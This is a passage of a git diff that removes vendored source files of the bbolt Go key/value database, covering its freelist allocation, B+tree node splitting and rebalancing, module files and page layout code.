append(m, txp.ids...) - } - sort.Sort(m) - fpgids := f.getFreePageIDs() - sz := len(fpgids) + len(m) - dst := *(*[]pgid)(unsafe.Pointer(&reflect.SliceHeader{ - Data: uintptr(dstptr), - Len: sz, - Cap: sz, - })) - mergepgids(dst, fpgids, m) -} - -func (f *freelist) copyall(dst []pgid) { - m := make(pgids, 0, f.pending_count()) - for _, txp := range f.pending { - m = append(m, txp.ids...) - } - sort.Sort(m) - mergepgids(dst, f.getFreePageIDs(), m) -} - -// arrayAllocate returns the starting page id of a contiguous list of pages of a given size. -// If a contiguous block cannot be found then 0 is returned. -func (f *freelist) arrayAllocate(txid txid, n int) pgid { - if len(f.ids) == 0 { - return 0 - } - - var initial, previd pgid - for i, id := range f.ids { - if id <= 1 { - panic(fmt.Sprintf("invalid page allocation: %d", id)) - } - - // Reset initial page if this is not contiguous. - if previd == 0 || id-previd != 1 { - initial = id - } - - // If we found a contiguous block then remove it and return it. - if (id-initial)+1 == pgid(n) { - // If we're allocating off the beginning then take the fast path - // and just adjust the existing slice. This will use extra memory - // temporarily but the append() in free() will realloc the slice - // as is necessary. - if (i + 1) == n { - f.ids = f.ids[i+1:] - } else { - copy(f.ids[i-n+1:], f.ids[i+1:]) - f.ids = f.ids[:len(f.ids)-n] - } - - // Remove from the free cache. - for i := pgid(0); i < pgid(n); i++ { - delete(f.cache, initial+i) - } - f.allocs[initial] = txid - return initial - } - - previd = id - } - return 0 -} - -// free releases a page and its overflow for a given transaction id. -// If the page is already free then a panic will occur. -func (f *freelist) free(txid txid, p *page) { - if p.id <= 1 { - panic(fmt.Sprintf("cannot free page 0 or 1: %d", p.id)) - } - - // Free page and all its overflow pages. - txp := f.pending[txid] - if txp == nil { - txp = &txPending{} - f.pending[txid] = txp - } - allocTxid, ok := f.allocs[p.id] - if ok { - delete(f.allocs, p.id) - } else if (p.flags & freelistPageFlag) != 0 { - // Freelist is always allocated by prior tx. - allocTxid = txid - 1 - } - - for id := p.id; id <= p.id+pgid(p.overflow); id++ { - // Verify that page is not already free. - if f.cache[id] { - panic(fmt.Sprintf("page %d already freed", id)) - } - // Add to the freelist and cache. - txp.ids = append(txp.ids, id) - txp.alloctx = append(txp.alloctx, allocTxid) - f.cache[id] = true - } -} - -// release moves all page ids for a transaction id (or older) to the freelist. -func (f *freelist) release(txid txid) { - m := make(pgids, 0) - for tid, txp := range f.pending { - if tid <= txid { - // Move transaction's pending pages to the available freelist. - // Don't remove from the cache since the page is still free. - m = append(m, txp.ids...) - delete(f.pending, tid) - } - } - f.mergeSpans(m) -} - -// releaseRange moves pending pages allocated within an extent [begin,end] to the free list. -func (f *freelist) releaseRange(begin, end txid) { - if begin > end { - return - } - var m pgids - for tid, txp := range f.pending { - if tid < begin || tid > end { - continue - } - // Don't recompute freed pages if ranges haven't updated. - if txp.lastReleaseBegin == begin { - continue - } - for i := 0; i < len(txp.ids); i++ { - if atx := txp.alloctx[i]; atx < begin || atx > end { - continue - } - m = append(m, txp.ids[i]) - txp.ids[i] = txp.ids[len(txp.ids)-1] - txp.ids = txp.ids[:len(txp.ids)-1] - txp.alloctx[i] = txp.alloctx[len(txp.alloctx)-1] - txp.alloctx = txp.alloctx[:len(txp.alloctx)-1] - i-- - } - txp.lastReleaseBegin = begin - if len(txp.ids) == 0 { - delete(f.pending, tid) - } - } - f.mergeSpans(m) -} - -// rollback removes the pages from a given pending tx. -func (f *freelist) rollback(txid txid) { - // Remove page ids from cache. - txp := f.pending[txid] - if txp == nil { - return - } - var m pgids - for i, pgid := range txp.ids { - delete(f.cache, pgid) - tx := txp.alloctx[i] - if tx == 0 { - continue - } - if tx != txid { - // Pending free aborted; restore page back to alloc list. - f.allocs[pgid] = tx - } else { - // Freed page was allocated by this txn; OK to throw away. - m = append(m, pgid) - } - } - // Remove pages from pending list and mark as free if allocated by txid. - delete(f.pending, txid) - f.mergeSpans(m) -} - -// freed returns whether a given page is in the free list. -func (f *freelist) freed(pgid pgid) bool { - return f.cache[pgid] -} - -// read initializes the freelist from a freelist page. -func (f *freelist) read(p *page) { - if (p.flags & freelistPageFlag) == 0 { - panic(fmt.Sprintf("invalid freelist page: %d, page type is %s", p.id, p.typ())) - } - // If the page.count is at the max uint16 value (64k) then it's considered - // an overflow and the size of the freelist is stored as the first element. - var idx, count uintptr = 0, uintptr(p.count) - if count == 0xFFFF { - idx = 1 - count = uintptr(*(*pgid)(unsafe.Pointer(uintptr(unsafe.Pointer(p)) + unsafe.Sizeof(*p)))) - } - - // Copy the list of page ids from the freelist. - if count == 0 { - f.ids = nil - } else { - ids := *(*[]pgid)(unsafe.Pointer(&reflect.SliceHeader{ - Data: uintptr(unsafe.Pointer(p)) + unsafe.Sizeof(*p) + idx*unsafe.Sizeof(pgid(0)), - Len: int(count), - Cap: int(count), - })) - - // copy the ids, so we don't modify on the freelist page directly - idsCopy := make([]pgid, count) - copy(idsCopy, ids) - // Make sure they're sorted. - sort.Sort(pgids(idsCopy)) - - f.readIDs(idsCopy) - } -} - -// arrayReadIDs initializes the freelist from a given list of ids. -func (f *freelist) arrayReadIDs(ids []pgid) { - f.ids = ids - f.reindex() -} - -func (f *freelist) arrayGetFreePageIDs() []pgid { - return f.ids -} - -// write writes the page ids onto a freelist page. All free and pending ids are -// saved to disk since in the event of a program crash, all pending ids will -// become free. -func (f *freelist) write(p *page) error { - // Combine the old free pgids and pgids waiting on an open transaction. - - // Update the header flag. - p.flags |= freelistPageFlag - - // The page.count can only hold up to 64k elements so if we overflow that - // number then we handle it by putting the size in the first element. - lenids := f.count() - if lenids == 0 { - p.count = uint16(lenids) - } else if lenids < 0xFFFF { - p.count = uint16(lenids) - f.copyallunsafe(unsafe.Pointer(uintptr(unsafe.Pointer(p)) + unsafe.Sizeof(*p))) - } else { - p.count = 0xFFFF - *(*pgid)(unsafe.Pointer(uintptr(unsafe.Pointer(p)) + unsafe.Sizeof(*p))) = pgid(lenids) - f.copyallunsafe(unsafe.Pointer(uintptr(unsafe.Pointer(p)) + unsafe.Sizeof(*p) + unsafe.Sizeof(pgid(0)))) - } - - return nil -} - -// reload reads the freelist from a page and filters out pending items. -func (f *freelist) reload(p *page) { - f.read(p) - - // Build a cache of only pending pages. - pcache := make(map[pgid]bool) - for _, txp := range f.pending { - for _, pendingID := range txp.ids { - pcache[pendingID] = true - } - } - - // Check each page in the freelist and build a new available freelist - // with any pages not in the pending lists. - var a []pgid - for _, id := range f.getFreePageIDs() { - if !pcache[id] { - a = append(a, id) - } - } - - f.readIDs(a) -} - -// noSyncReload reads the freelist from pgids and filters out pending items. -func (f *freelist) noSyncReload(pgids []pgid) { - // Build a cache of only pending pages. - pcache := make(map[pgid]bool) - for _, txp := range f.pending { - for _, pendingID := range txp.ids { - pcache[pendingID] = true - } - } - - // Check each page in the freelist and build a new available freelist - // with any pages not in the pending lists. - var a []pgid - for _, id := range pgids { - if !pcache[id] { - a = append(a, id) - } - } - - f.readIDs(a) -} - -// reindex rebuilds the free cache based on available and pending free lists. -func (f *freelist) reindex() { - ids := f.getFreePageIDs() - f.cache = make(map[pgid]bool, len(ids)) - for _, id := range ids { - f.cache[id] = true - } - for _, txp := range f.pending { - for _, pendingID := range txp.ids { - f.cache[pendingID] = true - } - } -} - -// arrayMergeSpans try to merge list of pages(represented by pgids) with existing spans but using array -func (f *freelist) arrayMergeSpans(ids pgids) { - sort.Sort(ids) - f.ids = pgids(f.ids).merge(ids) -} diff --git a/vendor/go.etcd.io/bbolt/freelist_hmap.go b/vendor/go.etcd.io/bbolt/freelist_hmap.go deleted file mode 100644 index 02ef2be044..0000000000 --- a/vendor/go.etcd.io/bbolt/freelist_hmap.go +++ /dev/null @@ -1,178 +0,0 @@ -package bbolt - -import "sort" - -// hashmapFreeCount returns count of free pages(hashmap version) -func (f *freelist) hashmapFreeCount() int { - // use the forwardmap to get the total count - count := 0 - for _, size := range f.forwardMap { - count += int(size) - } - return count -} - -// hashmapAllocate serves the same purpose as arrayAllocate, but use hashmap as backend -func (f *freelist) hashmapAllocate(txid txid, n int) pgid { - if n == 0 { - return 0 - } - - // if we have a exact size match just return short path - if bm, ok := f.freemaps[uint64(n)]; ok { - for pid := range bm { - // remove the span - f.delSpan(pid, uint64(n)) - - f.allocs[pid] = txid - - for i := pgid(0); i < pgid(n); i++ { - delete(f.cache, pid+i) - } - return pid - } - } - - // lookup the map to find larger span - for size, bm := range f.freemaps { - if size < uint64(n) { - continue - } - - for pid := range bm { - // remove the initial - f.delSpan(pid, uint64(size)) - - f.allocs[pid] = txid - - remain := size - uint64(n) - - // add remain span - f.addSpan(pid+pgid(n), remain) - - for i := pgid(0); i < pgid(n); i++ { - delete(f.cache, pid+pgid(i)) - } - return pid - } - } - - return 0 -} - -// hashmapReadIDs reads pgids as input an initial the freelist(hashmap version) -func (f *freelist) hashmapReadIDs(pgids []pgid) { - f.init(pgids) - - // Rebuild the page cache. - f.reindex() -} - -// hashmapGetFreePageIDs returns the sorted free page ids -func (f *freelist) hashmapGetFreePageIDs() []pgid { - count := f.free_count() - if count == 0 { - return nil - } - - m := make([]pgid, 0, count) - for start, size := range f.forwardMap { - for i := 0; i < int(size); i++ { - m = append(m, start+pgid(i)) - } - } - sort.Sort(pgids(m)) - - return m -} - -// hashmapMergeSpans try to merge list of pages(represented by pgids) with existing spans -func (f *freelist) hashmapMergeSpans(ids pgids) { - for _, id := range ids { - // try to see if we can merge and update - f.mergeWithExistingSpan(id) - } -} - -// mergeWithExistingSpan merges pid to the existing free spans, try to merge it backward and forward -func (f *freelist) mergeWithExistingSpan(pid pgid) { - prev := pid - 1 - next := pid + 1 - - preSize, mergeWithPrev := f.backwardMap[prev] - nextSize, mergeWithNext := f.forwardMap[next] - newStart := pid - newSize := uint64(1) - - if mergeWithPrev { - //merge with previous span - start := prev + 1 - pgid(preSize) - f.delSpan(start, preSize) - - newStart -= pgid(preSize) - newSize += preSize - } - - if mergeWithNext { - // merge with next span - f.delSpan(next, nextSize) - newSize += nextSize - } - - f.addSpan(newStart, newSize) -} - -func (f *freelist) addSpan(start pgid, size uint64) { - f.backwardMap[start-1+pgid(size)] = size - f.forwardMap[start] = size - if _, ok := f.freemaps[size]; !ok { - f.freemaps[size] = make(map[pgid]struct{}) - } - - f.freemaps[size][start] = struct{}{} -} - -func (f *freelist) delSpan(start pgid, size uint64) { - delete(f.forwardMap, start) - delete(f.backwardMap, start+pgid(size-1)) - delete(f.freemaps[size], start) - if len(f.freemaps[size]) == 0 { - delete(f.freemaps, size) - } -} - -// initial from pgids using when use hashmap version -// pgids must be sorted -func (f *freelist) init(pgids []pgid) { - if len(pgids) == 0 { - return - } - - size := uint64(1) - start := pgids[0] - - if !sort.SliceIsSorted([]pgid(pgids), func(i, j int) bool { return pgids[i] < pgids[j] }) { - panic("pgids not sorted") - } - - f.freemaps = make(map[uint64]pidSet) - f.forwardMap = make(map[pgid]uint64) - f.backwardMap = make(map[pgid]uint64) - - for i := 1; i < len(pgids); i++ { - // continuous page - if pgids[i] == pgids[i-1]+1 { - size++ - } else { - f.addSpan(start, size) - - size = 1 - start = pgids[i] - } - } - - // init the tail - if size != 0 && start != 0 { - f.addSpan(start, size) - } -} diff --git a/vendor/go.etcd.io/bbolt/go.mod b/vendor/go.etcd.io/bbolt/go.mod deleted file mode 100644 index c2366daef6..0000000000 --- a/vendor/go.etcd.io/bbolt/go.mod +++ /dev/null @@ -1,5 +0,0 @@ -module go.etcd.io/bbolt - -go 1.12 - -require golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5 diff --git a/vendor/go.etcd.io/bbolt/go.sum b/vendor/go.etcd.io/bbolt/go.sum deleted file mode 100644 index 4ad15a488c..0000000000 --- a/vendor/go.etcd.io/bbolt/go.sum +++ /dev/null @@ -1,2 +0,0 @@ -golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5 h1:LfCXLvNmTYH9kEmVgqbnsWfruoXZIrh4YBgqVHtDvw0= -golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= diff --git a/vendor/go.etcd.io/bbolt/node.go b/vendor/go.etcd.io/bbolt/node.go deleted file mode 100644 index 1690eef3f7..0000000000 --- a/vendor/go.etcd.io/bbolt/node.go +++ /dev/null @@ -1,607 +0,0 @@ -package bbolt - -import ( - "bytes" - "fmt" - "reflect" - "sort" - "unsafe" -) - -// node represents an in-memory, deserialized page. -type node struct { - bucket *Bucket - isLeaf bool - unbalanced bool - spilled bool - key []byte - pgid pgid - parent *node - children nodes - inodes inodes -} - -// root returns the top-level node this node is attached to. -func (n *node) root() *node { - if n.parent == nil { - return n - } - return n.parent.root() -} - -// minKeys returns the minimum number of inodes this node should have. -func (n *node) minKeys() int { - if n.isLeaf { - return 1 - } - return 2 -} - -// size returns the size of the node after serialization. -func (n *node) size() int { - sz, elsz := pageHeaderSize, n.pageElementSize() - for i := 0; i < len(n.inodes); i++ { - item := &n.inodes[i] - sz += elsz + uintptr(len(item.key)) + uintptr(len(item.value)) - } - return int(sz) -} - -// sizeLessThan returns true if the node is less than a given size. -// This is an optimization to avoid calculating a large node when we only need -// to know if it fits inside a certain page size. -func (n *node) sizeLessThan(v uintptr) bool { - sz, elsz := pageHeaderSize, n.pageElementSize() - for i := 0; i < len(n.inodes); i++ { - item := &n.inodes[i] - sz += elsz + uintptr(len(item.key)) + uintptr(len(item.value)) - if sz >= v { - return false - } - } - return true -} - -// pageElementSize returns the size of each page element based on the type of node. -func (n *node) pageElementSize() uintptr { - if n.isLeaf { - return leafPageElementSize - } - return branchPageElementSize -} - -// childAt returns the child node at a given index. -func (n *node) childAt(index int) *node { - if n.isLeaf { - panic(fmt.Sprintf("invalid childAt(%d) on a leaf node", index)) - } - return n.bucket.node(n.inodes[index].pgid, n) -} - -// childIndex returns the index of a given child node. -func (n *node) childIndex(child *node) int { - index := sort.Search(len(n.inodes), func(i int) bool { return bytes.Compare(n.inodes[i].key, child.key) != -1 }) - return index -} - -// numChildren returns the number of children. -func (n *node) numChildren() int { - return len(n.inodes) -} - -// nextSibling returns the next node with the same parent. -func (n *node) nextSibling() *node { - if n.parent == nil { - return nil - } - index := n.parent.childIndex(n) - if index >= n.parent.numChildren()-1 { - return nil - } - return n.parent.childAt(index + 1) -} - -// prevSibling returns the previous node with the same parent. -func (n *node) prevSibling() *node { - if n.parent == nil { - return nil - } - index := n.parent.childIndex(n) - if index == 0 { - return nil - } - return n.parent.childAt(index - 1) -} - -// put inserts a key/value. -func (n *node) put(oldKey, newKey, value []byte, pgid pgid, flags uint32) { - if pgid >= n.bucket.tx.meta.pgid { - panic(fmt.Sprintf("pgid (%d) above high water mark (%d)", pgid, n.bucket.tx.meta.pgid)) - } else if len(oldKey) <= 0 { - panic("put: zero-length old key") - } else if len(newKey) <= 0 { - panic("put: zero-length new key") - } - - // Find insertion index. - index := sort.Search(len(n.inodes), func(i int) bool { return bytes.Compare(n.inodes[i].key, oldKey) != -1 }) - - // Add capacity and shift nodes if we don't have an exact match and need to insert. - exact := (len(n.inodes) > 0 && index < len(n.inodes) && bytes.Equal(n.inodes[index].key, oldKey)) - if !exact { - n.inodes = append(n.inodes, inode{}) - copy(n.inodes[index+1:], n.inodes[index:]) - } - - inode := &n.inodes[index] - inode.flags = flags - inode.key = newKey - inode.value = value - inode.pgid = pgid - _assert(len(inode.key) > 0, "put: zero-length inode key") -} - -// del removes a key from the node. -func (n *node) del(key []byte) { - // Find index of key. - index := sort.Search(len(n.inodes), func(i int) bool { return bytes.Compare(n.inodes[i].key, key) != -1 }) - - // Exit if the key isn't found. - if index >= len(n.inodes) || !bytes.Equal(n.inodes[index].key, key) { - return - } - - // Delete inode from the node. - n.inodes = append(n.inodes[:index], n.inodes[index+1:]...) - - // Mark the node as needing rebalancing. - n.unbalanced = true -} - -// read initializes the node from a page. -func (n *node) read(p *page) { - n.pgid = p.id - n.isLeaf = ((p.flags & leafPageFlag) != 0) - n.inodes = make(inodes, int(p.count)) - - for i := 0; i < int(p.count); i++ { - inode := &n.inodes[i] - if n.isLeaf { - elem := p.leafPageElement(uint16(i)) - inode.flags = elem.flags - inode.key = elem.key() - inode.value = elem.value() - } else { - elem := p.branchPageElement(uint16(i)) - inode.pgid = elem.pgid - inode.key = elem.key() - } - _assert(len(inode.key) > 0, "read: zero-length inode key") - } - - // Save first key so we can find the node in the parent when we spill. - if len(n.inodes) > 0 { - n.key = n.inodes[0].key - _assert(len(n.key) > 0, "read: zero-length node key") - } else { - n.key = nil - } -} - -// write writes the items onto one or more pages. -func (n *node) write(p *page) { - // Initialize page. - if n.isLeaf { - p.flags |= leafPageFlag - } else { - p.flags |= branchPageFlag - } - - if len(n.inodes) >= 0xFFFF { - panic(fmt.Sprintf("inode overflow: %d (pgid=%d)", len(n.inodes), p.id)) - } - p.count = uint16(len(n.inodes)) - - // Stop here if there are no items to write. - if p.count == 0 { - return - } - - // Loop over each item and write it to the page. - bp := uintptr(unsafe.Pointer(p)) + unsafe.Sizeof(*p) + n.pageElementSize()*uintptr(len(n.inodes)) - for i, item := range n.inodes { - _assert(len(item.key) > 0, "write: zero-length inode key") - - // Write the page element. - if n.isLeaf { - elem := p.leafPageElement(uint16(i)) - elem.pos = uint32(bp - uintptr(unsafe.Pointer(elem))) - elem.flags = item.flags - elem.ksize = uint32(len(item.key)) - elem.vsize = uint32(len(item.value)) - } else { - elem := p.branchPageElement(uint16(i)) - elem.pos = uint32(bp - uintptr(unsafe.Pointer(elem))) - elem.ksize = uint32(len(item.key)) - elem.pgid = item.pgid - _assert(elem.pgid != p.id, "write: circular dependency occurred") - } - - // Create a slice to write into of needed size and advance - // byte pointer for next iteration. - klen, vlen := len(item.key), len(item.value) - sz := klen + vlen - b := *(*[]byte)(unsafe.Pointer(&reflect.SliceHeader{ - Data: bp, - Len: sz, - Cap: sz, - })) - bp += uintptr(sz) - - // Write data for the element to the end of the page. - l := copy(b, item.key) - copy(b[l:], item.value) - } - - // DEBUG ONLY: n.dump() -} - -// split breaks up a node into multiple smaller nodes, if appropriate. -// This should only be called from the spill() function. -func (n *node) split(pageSize uintptr) []*node { - var nodes []*node - - node := n - for { - // Split node into two. - a, b := node.splitTwo(pageSize) - nodes = append(nodes, a) - - // If we can't split then exit the loop. - if b == nil { - break - } - - // Set node to b so it gets split on the next iteration. - node = b - } - - return nodes -} - -// splitTwo breaks up a node into two smaller nodes, if appropriate. -// This should only be called from the split() function. -func (n *node) splitTwo(pageSize uintptr) (*node, *node) { - // Ignore the split if the page doesn't have at least enough nodes for - // two pages or if the nodes can fit in a single page. - if len(n.inodes) <= (minKeysPerPage*2) || n.sizeLessThan(pageSize) { - return n, nil - } - - // Determine the threshold before starting a new node. - var fillPercent = n.bucket.FillPercent - if fillPercent < minFillPercent { - fillPercent = minFillPercent - } else if fillPercent > maxFillPercent { - fillPercent = maxFillPercent - } - threshold := int(float64(pageSize) * fillPercent) - - // Determine split position and sizes of the two pages. - splitIndex, _ := n.splitIndex(threshold) - - // Split node into two separate nodes. - // If there's no parent then we'll need to create one. - if n.parent == nil { - n.parent = &node{bucket: n.bucket, children: []*node{n}} - } - - // Create a new node and add it to the parent. - next := &node{bucket: n.bucket, isLeaf: n.isLeaf, parent: n.parent} - n.parent.children = append(n.parent.children, next) - - // Split inodes across two nodes. - next.inodes = n.inodes[splitIndex:] - n.inodes = n.inodes[:splitIndex] - - // Update the statistics. - n.bucket.tx.stats.Split++ - - return n, next -} - -// splitIndex finds the position where a page will fill a given threshold. -// It returns the index as well as the size of the first page. -// This is only be called from split(). -func (n *node) splitIndex(threshold int) (index, sz uintptr) { - sz = pageHeaderSize - - // Loop until we only have the minimum number of keys required for the second page. - for i := 0; i < len(n.inodes)-minKeysPerPage; i++ { - index = uintptr(i) - inode := n.inodes[i] - elsize := n.pageElementSize() + uintptr(len(inode.key)) + uintptr(len(inode.value)) - - // If we have at least the minimum number of keys and adding another - // node would put us over the threshold then exit and return. - if index >= minKeysPerPage && sz+elsize > uintptr(threshold) { - break - } - - // Add the element size to the total size. - sz += elsize - } - - return -} - -// spill writes the nodes to dirty pages and splits nodes as it goes. -// Returns an error if dirty pages cannot be allocated. -func (n *node) spill() error { - var tx = n.bucket.tx - if n.spilled { - return nil - } - - // Spill child nodes first. Child nodes can materialize sibling nodes in - // the case of split-merge so we cannot use a range loop. We have to check - // the children size on every loop iteration. - sort.Sort(n.children) - for i := 0; i < len(n.children); i++ { - if err := n.children[i].spill(); err != nil { - return err - } - } - - // We no longer need the child list because it's only used for spill tracking. - n.children = nil - - // Split nodes into appropriate sizes. The first node will always be n. - var nodes = n.split(uintptr(tx.db.pageSize)) - for _, node := range nodes { - // Add node's page to the freelist if it's not new. - if node.pgid > 0 { - tx.db.freelist.free(tx.meta.txid, tx.page(node.pgid)) - node.pgid = 0 - } - - // Allocate contiguous space for the node. - p, err := tx.allocate((node.size() + tx.db.pageSize - 1) / tx.db.pageSize) - if err != nil { - return err - } - - // Write the node. - if p.id >= tx.meta.pgid { - panic(fmt.Sprintf("pgid (%d) above high water mark (%d)", p.id, tx.meta.pgid)) - } - node.pgid = p.id - node.write(p) - node.spilled = true - - // Insert into parent inodes. - if node.parent != nil { - var key = node.key - if key == nil { - key = node.inodes[0].key - } - - node.parent.put(key, node.inodes[0].key, nil, node.pgid, 0) - node.key = node.inodes[0].key - _assert(len(node.key) > 0, "spill: zero-length node key") - } - - // Update the statistics. - tx.stats.Spill++ - } - - // If the root node split and created a new root then we need to spill that - // as well. We'll clear out the children to make sure it doesn't try to respill. - if n.parent != nil && n.parent.pgid == 0 { - n.children = nil - return n.parent.spill() - } - - return nil -} - -// rebalance attempts to combine the node with sibling nodes if the node fill -// size is below a threshold or if there are not enough keys. -func (n *node) rebalance() { - if !n.unbalanced { - return - } - n.unbalanced = false - - // Update statistics. - n.bucket.tx.stats.Rebalance++ - - // Ignore if node is above threshold (25%) and has enough keys. - var threshold = n.bucket.tx.db.pageSize / 4 - if n.size() > threshold && len(n.inodes) > n.minKeys() { - return - } - - // Root node has special handling. - if n.parent == nil { - // If root node is a branch and only has one node then collapse it. - if !n.isLeaf && len(n.inodes) == 1 { - // Move root's child up. - child := n.bucket.node(n.inodes[0].pgid, n) - n.isLeaf = child.isLeaf - n.inodes = child.inodes[:] - n.children = child.children - - // Reparent all child nodes being moved. - for _, inode := range n.inodes { - if child, ok := n.bucket.nodes[inode.pgid]; ok { - child.parent = n - } - } - - // Remove old child. - child.parent = nil - delete(n.bucket.nodes, child.pgid) - child.free() - } - - return - } - - // If node has no keys then just remove it. - if n.numChildren() == 0 { - n.parent.del(n.key) - n.parent.removeChild(n) - delete(n.bucket.nodes, n.pgid) - n.free() - n.parent.rebalance() - return - } - - _assert(n.parent.numChildren() > 1, "parent must have at least 2 children") - - // Destination node is right sibling if idx == 0, otherwise left sibling. - var target *node - var useNextSibling = (n.parent.childIndex(n) == 0) - if useNextSibling { - target = n.nextSibling() - } else { - target = n.prevSibling() - } - - // If both this node and the target node are too small then merge them. - if useNextSibling { - // Reparent all child nodes being moved. - for _, inode := range target.inodes { - if child, ok := n.bucket.nodes[inode.pgid]; ok { - child.parent.removeChild(child) - child.parent = n - child.parent.children = append(child.parent.children, child) - } - } - - // Copy over inodes from target and remove target. - n.inodes = append(n.inodes, target.inodes...) - n.parent.del(target.key) - n.parent.removeChild(target) - delete(n.bucket.nodes, target.pgid) - target.free() - } else { - // Reparent all child nodes being moved. - for _, inode := range n.inodes { - if child, ok := n.bucket.nodes[inode.pgid]; ok { - child.parent.removeChild(child) - child.parent = target - child.parent.children = append(child.parent.children, child) - } - } - - // Copy over inodes to target and remove node. - target.inodes = append(target.inodes, n.inodes...) - n.parent.del(n.key) - n.parent.removeChild(n) - delete(n.bucket.nodes, n.pgid) - n.free() - } - - // Either this node or the target node was deleted from the parent so rebalance it. - n.parent.rebalance() -} - -// removes a node from the list of in-memory children. -// This does not affect the inodes. -func (n *node) removeChild(target *node) { - for i, child := range n.children { - if child == target { - n.children = append(n.children[:i], n.children[i+1:]...) - return - } - } -} - -// dereference causes the node to copy all its inode key/value references to heap memory. -// This is required when the mmap is reallocated so inodes are not pointing to stale data. -func (n *node) dereference() { - if n.key != nil { - key := make([]byte, len(n.key)) - copy(key, n.key) - n.key = key - _assert(n.pgid == 0 || len(n.key) > 0, "dereference: zero-length node key on existing node") - } - - for i := range n.inodes { - inode := &n.inodes[i] - - key := make([]byte, len(inode.key)) - copy(key, inode.key) - inode.key = key - _assert(len(inode.key) > 0, "dereference: zero-length inode key") - - value := make([]byte, len(inode.value)) - copy(value, inode.value) - inode.value = value - } - - // Recursively dereference children. - for _, child := range n.children { - child.dereference() - } - - // Update statistics. - n.bucket.tx.stats.NodeDeref++ -} - -// free adds the node's underlying page to the freelist. -func (n *node) free() { - if n.pgid != 0 { - n.bucket.tx.db.freelist.free(n.bucket.tx.meta.txid, n.bucket.tx.page(n.pgid)) - n.pgid = 0 - } -} - -// dump writes the contents of the node to STDERR for debugging purposes. -/* -func (n *node) dump() { - // Write node header. - var typ = "branch" - if n.isLeaf { - typ = "leaf" - } - warnf("[NODE %d {type=%s count=%d}]", n.pgid, typ, len(n.inodes)) - - // Write out abbreviated version of each item. - for _, item := range n.inodes { - if n.isLeaf { - if item.flags&bucketLeafFlag != 0 { - bucket := (*bucket)(unsafe.Pointer(&item.value[0])) - warnf("+L %08x -> (bucket root=%d)", trunc(item.key, 4), bucket.root) - } else { - warnf("+L %08x -> %08x", trunc(item.key, 4), trunc(item.value, 4)) - } - } else { - warnf("+B %08x -> pgid=%d", trunc(item.key, 4), item.pgid) - } - } - warn("") -} -*/ - -type nodes []*node - -func (s nodes) Len() int { return len(s) } -func (s nodes) Swap(i, j int) { s[i], s[j] = s[j], s[i] } -func (s nodes) Less(i, j int) bool { - return bytes.Compare(s[i].inodes[0].key, s[j].inodes[0].key) == -1 -} - -// inode represents an internal node inside of a node. -// It can be used to point to elements in a page or point -// to an element which hasn't been added to a page yet. -type inode struct { - flags uint32 - pgid pgid - key []byte - value []byte -} - -type inodes []inode diff --git a/vendor/go.etcd.io/bbolt/page.go b/vendor/go.etcd.io/bbolt/page.go deleted file mode 100644 index b5c1699789..0000000000 --- a/vendor/go.etcd.io/bbolt/page.go +++ /dev/null @@ -1,219 +0,0 @@ -package bbolt - -import ( - "fmt" - "os" - "reflect" - "sort" - "unsafe" -) - -const pageHeaderSize = unsafe.Sizeof(page{}) - -const minKeysPerPage = 2 - -const branchPageElementSize = unsafe.Sizeof(branchPageElement{}) -const leafPageElementSize = unsafe.Sizeof(leafPageElement{}) - -const ( - branchPageFlag = 0x01 - leafPageFlag = 0x02 - metaPageFlag = 0x04 - freelistPageFlag = 0x10 -) - -const ( - bucketLeafFlag = 0x01 -) - -type pgid uint64 - -type page struct { - id pgid - flags uint16 - count uint16 - overflow uint32 -} - -// typ returns a human readable page type string used for debugging. -func (p *page) typ() string { - if (p.flags & branchPageFlag) != 0 { - return "branch" - } else if (p.flags & leafPageFlag) != 0 { - return "leaf" - } else if (p.flags & metaPageFlag) != 0 { - return "meta" - } else if (p.flags & freelistPageFlag) != 0 { - return "freelist" - } - return fmt.Sprintf("unknown<%02x>", p.flags) -} - -// meta returns a pointer to the metadata section of the page. -func (p *page) meta() *meta { - return (*meta)(unsafe.Pointer(uintptr(unsafe.Pointer(p)) + unsafe.Sizeof(*p))) -} - -// leafPageElement retrieves the leaf node by index -func (p *page) leafPageElement(index uint16) *leafPageElement { - off := uintptr(index) * unsafe.Sizeof(leafPageElement{}) - return (*leafPageElement)(unsafe.Pointer(uintptr(unsafe.Pointer(p)) + unsafe.Sizeof(*p) + off)) -} - -// leafPageElements retrieves a list of leaf nodes. -func (p *page) leafPageElements() []leafPageElement { - if p.count == 0 { - return nil - } - return *(*[]leafPageElement)(unsafe.Pointer(&reflect.SliceHeader{ - Data: uintptr(unsafe.Pointer(p)) + unsafe.Sizeof(*p), - Len: int(p.count), - Cap: int(p.count), - })) -} - -// branchPageElement retrieves the branch node by index -func (p *page) branchPageElement(index uint16) *branchPageElement { - off := uintptr(index) * unsafe.Sizeof(branchPageElement{}) - return (*branchPageElement)(unsafe.Pointer(uintptr(unsafe.Pointer(p)) + unsafe.Sizeof(*p) + off)) -} - -// branchPageElements retrieves a list of branch nodes. -func (p *page) branchPageElements() []branchPageElement { - if p.count == 0 { - return nil - } - return *(*[]branchPageElement)(unsafe.Pointer(&reflect.SliceHeader{ - Data: uintptr(unsafe.Pointer(p)) + unsafe.Sizeof(*p), - Len: int(p.count), - Cap: int(p.count), - })) -} - -// dump writes n bytes of the page to STDERR as hex output. -func (p *page) hexdump(n int) { - buf := *(*[]byte)(unsafe.Pointer(&reflect.SliceHeader{ - Data: uintptr(unsafe.Pointer(p)), - Len: n, - Cap: n, - })) - fmt.Fprintf(os.Stderr, "%x\n", buf) -} - -type pages []*page - -func (s pages) Len() int { return len(s) } -func (s pages) Swap(i, j int) { s[i], s[j] = s[j], s[i] } -func (s pages) Less(i, j int) bool { return s[i].id < s[j].id } - -// branchPageElement represents a node on a branch page. -type branchPageElement struct { - pos uint32 - ksize uint32 - pgid pgid -} - -// key returns a byte slice of the node key. -func (n *branchPageElement) key() []byte { - return *(*[]byte)(unsafe.Pointer(&reflect.SliceHeader{ - Data: uintptr(unsafe.Pointer(n)) + uintptr(n.pos), - Len: int(n.ksize), - Cap: int(n.ksize), - })) -} - -// leafPageElement represents a node on a leaf page. -type leafPageElement struct { - flags uint32 - pos uint32 - ksize uint32 - vsize uint32 -} - -// key returns a byte slice of the node key. -func (n *leafPageElement) key() []byte { - return *(*[]byte)(unsafe.Pointer(&reflect.SliceHeader{ - Data: 